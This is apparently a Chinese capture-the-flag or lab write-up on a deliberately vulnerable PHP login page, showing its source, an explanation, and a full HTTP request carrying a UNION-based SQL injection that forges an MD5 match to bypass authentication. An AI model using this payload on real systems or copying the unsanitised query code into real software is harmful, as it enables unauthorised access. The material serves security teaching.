

1、知识点

Null

2、源码

```
<?php

if($_POST[user] && $_POST[pass]) {
    mysql_connect("localhost" . ':' . "3306","root","ym1");
    mysql_select_db("mysql");
    $user = $_POST[user];
    $pass = md5($_POST[pass]);
    $query = @mysql_fetch_array(mysql_query("select user from users where user='
$user '"));
    if (($query[user]) && (!strcasecmp($pass, $query[user]))) {

        //strcasecmp:0 - 如果两个字符串相等

        echo "<p>Logged in! Key: ntcf{*****} </p>";
    }
    else {
        echo("<p>Log in failure!</p>");
    }
}

?>
```

3、分析

1) 程序通过POST方法接收参数user和pass，并将user拼接到SQL语句中进行查询。如果查询到的user为真，并且user的值和经过md5加密后的pass值相等，就输出flag。

```
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select user from users where user=' $user '
"));
if (($query[user]) && (!strcasecmp($pass, $query[user]))) {

    //strcasecmp:0 - 如果两个字符串相等

    echo "<p>Logged in! Key: ntcf{*****} </p>";
}
```

2) 首先拼接到SQL语句中的POST参数是没有经过过滤的，所以这里可以通过'闭合#注释，造成SQL注入。然后构造出一个查询结果为和md5加密后的pass值相同的SQL语句即可拿到flag。

Request

Pretty Raw Hex

```
1 POST /17.php HTTP/1.1
2 Host: x.com
3 Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102
  Safari/537.36
6 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avi
  f,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v
  =b3;q=0.9
7 Accept-Encoding: gzip, deflate
8 Accept-Language: zh-CN,zh;q=0.9
9 Cookie: PHPSESSID=a0scp54kdlq7eq48vi8so510d7
10 Connection: close
11 Content-Type: application/x-www-form-urlencoded
12 Content-Length: 82
13
14 user=
  'and%200=1%20union%20select%20' e10adc3949ba59abbe56e057f20f883e
  '#&pass=123456
```

Response

Pretty Raw Hex Render

#	Time	Memory	Function	Loca
1	0.0010	135152	{main}()	...\17

Notice: Use of undefined constant user - assumed 'user' in
F:\Range\PhpStudy2018\PHPTutorial\WWW\PHP_bugs\17.php

Call Stack

#	Time	Memory	Function	Loca
1	0.0010	135152	{main}()	...\17

Notice: Use of undefined constant user - assumed 'user' in
F:\Range\PhpStudy2018\PHPTutorial\WWW\PHP_bugs\17.php

Call Stack

#	Time	Memory	Function	Loca
1	0.0010	135152	{main}()	...\17

Logged in! Key: ntcf{*****}

4、利用

```
user='and%200=1%20union%20select%20' e10adc3949ba59abbe56e057f20f883e' '#&pass=123456
```